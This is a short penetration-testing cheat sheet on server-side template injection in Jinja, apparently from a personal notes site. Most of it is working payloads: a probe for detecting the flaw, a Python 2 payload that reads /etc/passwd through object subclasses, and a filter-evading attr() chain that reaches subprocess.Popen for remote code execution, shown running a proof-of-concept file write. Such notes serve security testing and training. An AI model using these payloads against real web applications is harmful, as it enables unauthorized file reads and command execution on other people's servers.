SSTI Tips #
Jinja #
- This targets templating engines such as Jinja(Python)
- Common delimiters to start
- Expression
{{ }}
- Statement
{% %}
- Expression
- Some templating engines contain direct classes to execute system-level calls while others make it more difficult, requiring creative exploits.
- XSS vulnerabilities might also hint at an SSTI vulnerability
- It is the same case
- user-provided code entering an unsanitized field
- It is the same case
- Discovery
- Common discoveries to be entered in the fields
{{ 7*7 }}- vuln:
49
- vuln:
- Common discoveries to be entered in the fields
- Common payload that may lead to RCE
- Jinja
- Python 2.x
{{ ''.__class__.__mro__[2].__subclasses()[40]('/etc/passwd').read() }}''or""is an empty string.__class__is asking for the class of it.__mro__asking for the Method Resolution Order (tuple of classes)- i.e.
1 2 3
>>> Strawberry.__mro__ (<class '__main__.Martini'>, <class '__main__.Alcohol'>, <class '__main__.Drinks'>, <class 'object'>) - Python 2
[2]choosing the 2nd tuple which is<type 'object'>- Python 3
[1]
- i.e.
.__subclasses__returns the sub classes of the specific value that themroreturned above[40]40th, which in Python 2 is<type 'file'>('/etc/passwd')value offileto.read()
- Filter and Evasion
attr()- Sample
1 2 3 4
{% set foo = "foo" %} {% set bar = "bar" %} {% set foo.bar = "A really different value" %} {{ foo|attr(bar) }} - For Jinja exploit (case where
.__is not allowed or filtered)- Sample for this:
1 2 3 4
{% set string = "ssti" %} {% set class = "__class__" %} {% set mro = "__mro__" %} {% set subclasses = "__subclasses__" %} - then to this: (remember it is mro
[1]for Python 3)1 2 3 4 5 6
{% set string = "ssti" %} {% set class = "__class__" %} {% set mro = "__mro__" %} {% set subclasses = "__subclasses__" %} {% set mro_r = string|attr(class)|attr(mro) %} {{ mro_r[1] }} - In this step, within the subclasses() classes, you must find the
subprocess.Popenas this enables RCE. - It is IMPORTANT to note that you must manually look for the
subprocess.Popenclass for the query above (mro[1]) since it possibly changes for every instance/spawn/restart of the web app service or whatever is hosting the Jinja2 platform. It should now look like this: (where[420]possibly changes every time the service is restarted)1 2 3 4 5 6 7
{% set string = "ssti" %} {% set class = "__class__" %} {% set mro = "__mro__" %} {% set subclasses = "__subclasses__" %} {% set mro_r = string|attr(class)|attr(mro) %} {% set subclasses_r = mro_r[1]|attr(subclasses)() %} {{ subclasses_r[420] }} - to make for full RCE: (where
[420]possibly changes every time the service is restarted)1 2 3 4 5 6 7
{% set string = "ssti" %} {% set class = "__class__" %} {% set mro = "__mro__" %} {% set subclasses = "__subclasses__" %} {% set mro_r = string|attr(class)|attr(mro) %} {% set subclasses_r = mro_r[1]|attr(subclasses)() %} {{ subclasses_r[420](["/usr/bin/touch","/tmp/PoC_Write.txt"]) }}
- Sample for this:
- Sample
- Python 2.x
- Jinja
Last update: May 18, 2021